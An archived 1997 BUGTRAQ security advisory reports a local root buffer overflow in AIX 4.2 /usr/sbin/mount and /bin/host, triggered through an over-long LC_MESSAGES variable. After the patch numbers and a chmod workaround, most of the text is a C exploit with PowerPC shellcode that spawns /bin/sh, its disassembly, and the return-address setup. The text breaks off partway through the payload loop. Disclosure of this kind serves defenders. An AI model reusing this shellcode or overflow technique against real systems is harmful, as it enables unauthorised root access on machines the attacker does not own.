AIX LC_MESSAGES /usr/sbin/mount and /bin/host holes

Summary
Description:Standard buffer overflow, using LC_MESSAGES
Author:Georgi Guninski (guninski@linux2.vmei.acad.bg)
Compromise: root (local)
Vulnerable Systems:AIX 4.2, possibly 4.1 and more
Date:3 April 1997
Details

Exploit:

Date: Thu, 3 Apr 1997 21:52:41 +0200
From: Georgi Guninski 
Reply-To: guninski@hotmail.com
To: BUGTRAQ@NETSPACE.ORG
Subject: AIX 4.2 LC_MESSAGES + mount exploit

Hello all

There seem to exist a buffer overflow condition in AIX 4.2/4.1/? when
the shell variable LC_MESSAGES is long enough.
/bin/host and /usr/sbin/mount are vulnerable to spawning a root shell.

Solutions:
1) IBM was informed on 972903 and on 970403 wrote the following:
>The APARs are going through the regression test lab right now and should
>be available by next week. Here are the numbers:
> AIX 4.2:  APAR IX67377
> AIX 4.1:  APAR IX67407
> AIX 3.2:  APAR IX67405
2) a little bit ugly, but works:
#chmod -s /bin/host /usr/sbin/mount
3) I have not tested it, but if you are in the mood you may try to
change LC_MESSAGES in /usr/lib/libc.a, /usr/lib/* and everywhere else to
something unpredictable.

If the C program does not work, try the ksh script which does some brute
forcing.

PLEASE NOTE my e-mail addresses bellow and do NOT REPLY to this message.

Georgi Guninski
guninski@hotmail.com
stgun@sgg.vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711

---test2.c--------------------------------------------------------------------
-----------------------
/*
 AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski

----------------------------------------
DISCLAIMER

 This program is for educational purpose ONLY. Do not use it without
permission.
 The usual standard disclaimer applies, especially the fact that Georgi
Guninski
 is not liable for any damages caused by direct or  indirect use of
 the information or functionality provided by this program.
 Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
 or misuse of this program or any derivatives thereof.
 By using this program you accept the fact that any damage (dataloss,
system
 crash, system compromise, etc.) caused by the use of this program is
not
 Georgi Guninski's responsibility.

In case you distribute this, please keep the disclaimer and my
addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g test2.c
-----------------
Georgi Guninski
 guninski@hotmail.com
 sgg@vmei.acad.bg
 guninski@linux2.vmei.acad.bg
 http://www.geocities.com/ResearchTriangle/1711



Suggestions,comments and job offers are welcome!


22-Mar-97
*/
#include 
#include 
#include 


char prog[100]="/usr/sbin/mount";
char prog2[30]="mount";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;

mn=78;
max=100;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop



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